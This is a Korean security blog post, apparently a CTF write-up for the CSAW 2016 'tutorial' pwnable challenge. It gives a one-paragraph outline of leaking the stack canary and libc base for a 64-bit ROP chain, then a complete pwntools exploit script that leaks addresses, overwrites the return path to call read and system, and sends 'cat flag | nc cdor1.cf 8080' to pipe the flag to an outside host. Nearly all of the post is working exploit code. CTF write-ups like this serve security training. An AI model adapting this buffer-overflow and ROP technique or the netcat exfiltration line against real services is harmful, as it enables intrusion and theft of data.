Notice
Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

CSAW 2016 tutorial 본문

Security/Pwnable

CSAW 2016 tutorial

Cdor1 2017. 3. 14. 23:58

canary leak하구 제공해주는 libc로 가젯 오프셋 구해서 가젯 주소 구해준 후에 64bit rop!

func@plt - rdi, rsi, rdx, rcx

이 순서만 기억해주고 pop rdi, pop rsi ...으로 인자를 넣어준 뒤에 function call 하면 된다.


from pwn import *
s = remote('localhost', 4000)
elf = ELF('./tutorial')
offset_rdi = eval(raw_input())
offset_rsi = eval(raw_input())
offset_rdx = eval(raw_input())
base_offset = 0x6f860

print s.recvuntil('>')
s.sendline('1')
print s.recvuntil('Reference:0x')
leak = int(s.recvline()[:-1], 16)
base = leak - base_offset
system = base + 0x46640
prdi = base + offset_rdi
prsi = base + offset_rsi
prdx = base + offset_rdx
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))

print s.recvuntil('>')
s.sendline('2')
print s.recvuntil('>')
s.sendline('a'*311)
print s.recvuntil('a'*311 + '\n')
canary = u64(s.recv(8))
log.info('canary : ' + hex(canary))

print s.recvuntil('>')
s.sendline('2')
print s.recvuntil('>')
payload = 'A'*312
payload += p64(canary)
payload += 'A'*8
payload += p64(prdi)
payload += p64(4)
payload += p64(prsi)
payload += p64(elf.bss())
payload += p64(prdx)
payload += p64(100)
payload += p64(elf.plt['read'])

payload += p64(prdi)
payload += p64(elf.bss())
payload += p64(system)
s.sendline(payload)
s.sendline('cat flag | nc cdor1.cf 8080')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

공유기 vector  (0) 2017.03.17
Format String Bug TIP  (0) 2017.03.17
SECCON 2016 tinypad  (0) 2017.03.08
pwnable.tw deathnote  (0) 2017.03.07
pwnable.tw orc  (0) 2017.03.07
Comments